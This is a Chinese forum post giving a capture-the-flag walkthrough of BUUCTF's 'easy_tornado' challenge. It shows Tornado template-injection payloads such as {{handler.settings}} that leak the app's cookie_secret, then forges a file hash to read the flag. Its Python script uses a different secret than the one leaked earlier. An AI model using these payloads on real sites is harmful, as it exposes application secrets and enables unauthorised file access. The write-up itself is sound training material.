找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 97|回复: 0

BUUCTF靶场20 -- [护网杯 2018]easy_tornado

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-9-2 23:04:21 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
BUUCTF靶场20 -- [护网杯 2018]easy_tornado

1. 信息收集
1.png

/flag.txt

[Plain Text] 纯文本查看 复制代码
/flag.txt
flag in /fllllllllllllag


/welcome.txt
[Plain Text] 纯文本查看 复制代码
/welcome.txt
render


/hints.txt
[AppleScript] 纯文本查看 复制代码
/hints.txt
md5(cookie_secret+md5(filename))


请求格式:
[PHP] 纯文本查看 复制代码
/file?filename=/hints.txt&filehash=426677fa5ba815729950a629e2b5b78e


构造payload

网址里有参数filenamefilehash推测这里flag应该是

/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))

少一个cookie_secret,welcome.txt提醒是render,又根据题目easy_tornado可推测是服务器模板注入。


扩展:SSTI注入
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。

服务端模板:相当于很多公式,根据变量输出结果。这里的模板就是模板引擎根据数据自动生成前端页面。

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。错误的执行了用户输入。类比于 sql注入。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2、mako、tornado、djangophp的smarty、twigjava的jade、velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。


因为render() 是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。

tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。

那我们开始初步尝试:
[PHP] 纯文本查看 复制代码
/file?filename=/fllllllllllllag&filehash={{1}}


为什么使用双花括号?
Tornado templates support control statements and expressions. Control statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}.
Expressions are surrounded by {{ }}, e.g. {{ items[0] }}.

得到关键报错信息:
[PHP] 纯文本查看 复制代码
http://8febaaca-6099-4ad6-8e58-fe9ff9744fb9.node4.buuoj.cn:81/error?msg=Error


模板注入必须通过传输型如{{xxx}}的执行命令。

探测方法很简单:

[PHP] 纯文本查看 复制代码
error?msg={{7*7}}    和    error?msg={{7}}

发现当输入7*7时,返回orz;输入7时,返回7说明此处是存在SSTI注入漏洞的。

说明可以注入,但*可能被过滤

因为存在注入点,所以我们需要寻找cookie_secret路径

百度发现,其存在位置为handler.settings

搜素百度得Tornado框架的附属文件handler.settings中存在cookie_secret


Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象
RequestHandler中并没有settings这个属性,与RequestHandler关联的Application对象(Requestion.application)才有setting这个属性
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!

此时构造payload:

[PHP] 纯文本查看 复制代码
http://8febaaca-6099-4ad6-8e58-fe9ff9744fb9.node4.buuoj.cn:81/error?msg={{handler.settings}}

返回:
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'dfe93242-9144-4932-9aff-27396071bb40'}
1.png

/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))

/file?filename=/fllllllllllllag&filehash=md5('dfe93242-9144-4932-9aff-27396071bb40'+'3bf9f6cf685a6dd8defadabfb41a03a1')

/file?filename=/fllllllllllllag&filehash=34f528b90ce71d36d741f5d89fd3fd85

得到flag

/fllllllllllllag
flag{3c6d48f1-a4da-427c-98ba-4aab5d37b3d3}

[Python] 纯文本查看 复制代码
#coding:utf-8
import hashlib

def md5(s):
    md5 = hashlib.md5()
    md5.update(s.encode("utf8"))
    return md5.hexdigest()

def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '86453dc7-a1f0-4636-b0c8-bfd7ed05aa03'
    print(md5(cookie_secret + md5(filename)))

if __name__ == '__main__':
    filehash()





https://www.sojson.com/encrypt_md5.html



参考:
     1. https://blog.csdn.net/qq_51927659/article/details/116031923
     2. https://blog.csdn.net/qq_62414126/article/details/124514254
     3. https://www.cnblogs.com/darkerg/p/15005379.html
     4. https://blog.csdn.net/qq_62414126/article/details/124514254
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 05:03

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表